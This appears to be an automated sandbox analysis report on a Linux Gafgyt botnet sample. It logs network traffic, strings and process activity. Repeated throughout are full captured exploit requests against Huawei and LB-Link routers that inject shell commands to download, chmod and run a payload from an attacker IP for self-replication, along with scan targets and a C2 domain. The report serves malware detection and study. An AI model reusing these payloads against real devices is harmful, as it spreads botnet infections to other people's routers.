Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 41.12.215.96
Source: unknown	TCP traffic detected without corresponding DNS query: 157.22.12.103
Source: unknown	TCP traffic detected without corresponding DNS query: 107.173.109.99
Source: unknown	TCP traffic detected without corresponding DNS query: 157.154.44.150
Source: unknown	TCP traffic detected without corresponding DNS query: 197.254.128.239
Source: unknown	TCP traffic detected without corresponding DNS query: 157.213.121.18
Source: unknown	TCP traffic detected without corresponding DNS query: 41.1.187.193
Source: unknown	TCP traffic detected without corresponding DNS query: 41.19.96.157
Source: unknown	TCP traffic detected without corresponding DNS query: 201.25.66.35
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.172.200
Source: unknown	TCP traffic detected without corresponding DNS query: 41.204.203.60
Source: unknown	TCP traffic detected without corresponding DNS query: 197.159.80.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.55.147.113
Source: unknown	TCP traffic detected without corresponding DNS query: 157.170.106.245
Source: unknown	TCP traffic detected without corresponding DNS query: 118.95.46.246
Source: unknown	TCP traffic detected without corresponding DNS query: 133.62.70.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.254.172.16
Source: unknown	TCP traffic detected without corresponding DNS query: 197.185.205.101
Source: unknown	TCP traffic detected without corresponding DNS query: 41.158.109.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.100.213.34
Source: unknown	TCP traffic detected without corresponding DNS query: 197.187.16.178
Source: unknown	TCP traffic detected without corresponding DNS query: 41.159.58.186
Source: unknown	TCP traffic detected without corresponding DNS query: 41.14.230.239
Source: unknown	TCP traffic detected without corresponding DNS query: 197.28.49.56
Source: unknown	TCP traffic detected without corresponding DNS query: 41.221.211.116
Source: unknown	TCP traffic detected without corresponding DNS query: 197.86.156.98
Source: unknown	TCP traffic detected without corresponding DNS query: 157.185.47.244
Source: unknown	TCP traffic detected without corresponding DNS query: 157.176.19.202
Source: unknown	TCP traffic detected without corresponding DNS query: 154.169.180.151
Source: unknown	TCP traffic detected without corresponding DNS query: 41.240.214.232
Source: unknown	TCP traffic detected without corresponding DNS query: 41.254.98.12
Source: unknown	TCP traffic detected without corresponding DNS query: 197.24.31.86
Source: unknown	TCP traffic detected without corresponding DNS query: 197.160.174.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.221.250.209
Source: unknown	TCP traffic detected without corresponding DNS query: 41.17.195.247
Source: unknown	TCP traffic detected without corresponding DNS query: 208.109.191.131
Source: unknown	TCP traffic detected without corresponding DNS query: 157.234.32.24
Source: unknown	TCP traffic detected without corresponding DNS query: 41.145.181.111
Source: unknown	TCP traffic detected without corresponding DNS query: 41.189.49.203
Source: unknown	TCP traffic detected without corresponding DNS query: 41.170.56.148
Source: unknown	TCP traffic detected without corresponding DNS query: 41.76.158.60
Source: unknown	TCP traffic detected without corresponding DNS query: 101.140.37.196
Source: unknown	TCP traffic detected without corresponding DNS query: 41.44.96.178
Source: unknown	TCP traffic detected without corresponding DNS query: 41.85.108.213
Source: unknown	TCP traffic detected without corresponding DNS query: 197.109.181.127
Source: unknown	TCP traffic detected without corresponding DNS query: 197.249.199.32
Source: unknown	TCP traffic detected without corresponding DNS query: 157.198.116.20
Source: unknown	TCP traffic detected without corresponding DNS query: 197.17.86.115
Source: unknown	TCP traffic detected without corresponding DNS query: 197.205.155.220
Source: unknown	TCP traffic detected without corresponding DNS query: 41.50.98.170

Source: unknown

DNS traffic detected: queries for: bngoc.skyljne.click

Source: unknown

HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf *mpsl*;

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close

Source: h7x9LMic6K.elf	String found in binary or memory: http://103.245.236.156/huhu.mpsl;
Source: h7x9LMic6K.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: h7x9LMic6K.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: h7x9LMic6K.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5523.1.00007f1a58001000.00007f1a58024000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: h7x9LMic6K.elf PID: 5523, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox/
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljneegay.armskyljneegay.arm5skyljneegay.arm6skyljneegay.arm7skyljneegay.mipsskyljneegay.mpslskyljneegay.x86_64skyljneegay.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/anko-app/ankosample _8182T_1104/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd//usr/libexec/openssh/sftp-server/shellsys/boot/media/srv/var/run/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//lib/systemd//usr/lib/systemd/system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample	String containing 'busybox' found: wgetcurl/bin/busyboxechocatnanotfpt/proc/proc/%d/cmdlineabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/12/cmdline	Jump to behavior
